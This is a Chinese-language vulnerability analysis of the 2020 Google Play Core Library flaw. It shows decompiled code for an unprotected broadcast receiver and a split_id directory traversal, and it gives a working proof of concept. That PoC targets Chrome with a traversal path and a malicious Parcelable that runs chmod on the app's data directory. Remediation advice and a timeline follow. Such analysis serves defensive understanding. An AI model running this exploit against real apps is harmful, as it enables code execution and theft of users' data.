挖洞经验 | Google Play Core Library中的代码执行漏洞
字数 1321 2025-08-15 21:31:58
Google Play Core Library代码执行漏洞分析与利用
漏洞概述
Google Play Core Library是安卓系统的主流应用库,通过Google API接口为APP提供动态更新推送、存储优化和自适应调整等功能。2020年2月,Oversecured公司发现该库中存在高危代码执行漏洞,影响所有依赖该库的APP应用。
漏洞危害:
- 允许攻击者窃取用户登录凭据、交易信息、电子邮件等敏感数据
- 可实现任意文件窃取和任意文件覆盖
- 最终导致任意代码执行
CVSS评分:8.8(高危)
漏洞原理分析
漏洞1:未经保护的广播接收器
在com/google/android/play/core/splitinstall/C3748l.java文件中存在一个未受保护的广播接收器:
private C3748l(Context context, C3741e eVar) {
super(new ae("SplitInstallListenerRegistry"),
new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"),
context);
}
同一设备上的第三方应用可通过com/google/android/play/core/listener/C3718a.java广播任意数据:
protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) {
this.f22595a = aeVar;
this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService`
this.f22597c = context;
}
private final void m15347a() {
if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null)
this.f22599e = new C3719b(this, 0)
this.f22597c.registerReceiver(this.f22599e, this.f22596b); // 注册未受保护的广播接收器
}
漏洞2:目录遍历导致任意文件写入
在com/google/android/play/core/internal/ab.java中,库会从split_id参数指定的位置拷贝文件:
for (Intent next : list) {
String stringExtra = next.getStringExtra("split_id");
File a = this.f22543b.mo32067a(stringExtra); // 存在目录遍历漏洞
if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists())
bufferedInputStream = new BufferedInputStream(new FileInputStream(
this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor()
));
fileOutputStream = new FileOutputStream(a);
byte[] bArr = new byte[4096];
while (true) {
int read = bufferedInputStream.read(bArr);
if (read <= 0) break;
fileOutputStream.write(bArr, 0, read);
}
}
}
关键点:
- 攻击者可以控制
split_id参数进行目录遍历 - 文件会被写入
/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/目录 verified-splits目录下的config.*文件会被自动加载到APP的ClassLoader中
漏洞利用链
- 文件覆盖:通过目录遍历将恶意文件写入
verified-splits目录 - 类加载:恶意文件被自动加载到APP的ClassLoader中
- 反序列化执行:通过Parcelable接口实现恶意代码执行
利用步骤
- 构造恶意split文件并指定
split_id为../verified-splits/config.test实现目录遍历 - 通过未受保护的广播接收器发送构造的Intent
- 触发反序列化操作执行恶意代码
PoC代码分析
攻击者端代码
// 启动目标APP
Intent launchIntent = getPackageManager().getLaunchIntentForPackage("com.android.chrome");
startActivity(launchIntent);
// 3秒后发送恶意split文件
new Handler().postDelayed(() -> {
Intent split = new Intent();
split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir));
split.putExtra("split_id", "../verified-splits/config.test");
Bundle bundle = new Bundle();
bundle.putInt("status", 3);
bundle.putParcelableArrayList("split_file_intents",
new ArrayList<Parcelable>(Arrays.asList(split)));
Intent intent = new Intent(
"com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService");
intent.setPackage("com.android.chrome");
intent.putExtra("session_state", bundle);
sendBroadcast(intent);
}, 3000);
// 5秒后发送恶意Parcelable对象
new Handler().postDelayed(() -> {
startActivity(launchIntent.putExtra("x", new EvilParcelable()));
}, 5000);
恶意Parcelable实现
public class EvilParcelable implements Parcelable {
public static final Parcelable.Creator<EvilParcelable> CREATOR =
new Parcelable.Creator<EvilParcelable>() {
public EvilParcelable createFromParcel(android.os.Parcel parcel) {
exploit();
return null;
}
public EvilParcelable[] newArray(int i) {
exploit();
return null;
}
private void exploit() {
try {
Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor();
} catch (Throwable th) {
throw new RuntimeException(th);
}
}
};
public int describeContents() { return 0; }
public void writeToParcel(android.os.Parcel parcel, int i) {}
}
漏洞修复建议
- 更新Google Play Core Library:确保使用最新版本的核心库
- 广播接收器保护:
- 添加权限检查
- 限制接收器只能接收来自可信源的广播
- 输入验证:
- 对
split_id参数进行严格校验 - 防止目录遍历攻击
- 对
- 安全配置:
- 设置
android:exported="false"限制接收器导出 - 使用签名级别权限保护敏感组件
- 设置
影响范围
所有依赖Google Play Core Library的APP应用,包括但不限于:
- Google Chrome
- 其他使用该库实现动态更新的主流APP
时间线
- 2020年2月:漏洞被发现
- 上报谷歌后获得8.8分的威胁评分
- 2020年9月:漏洞细节公开
总结
该漏洞通过组合利用未受保护的广播接收器和目录遍历缺陷,最终实现任意代码执行。攻击者可借此窃取用户敏感数据,危害极大。开发者应及时更新依赖库并实施适当的安全防护措施。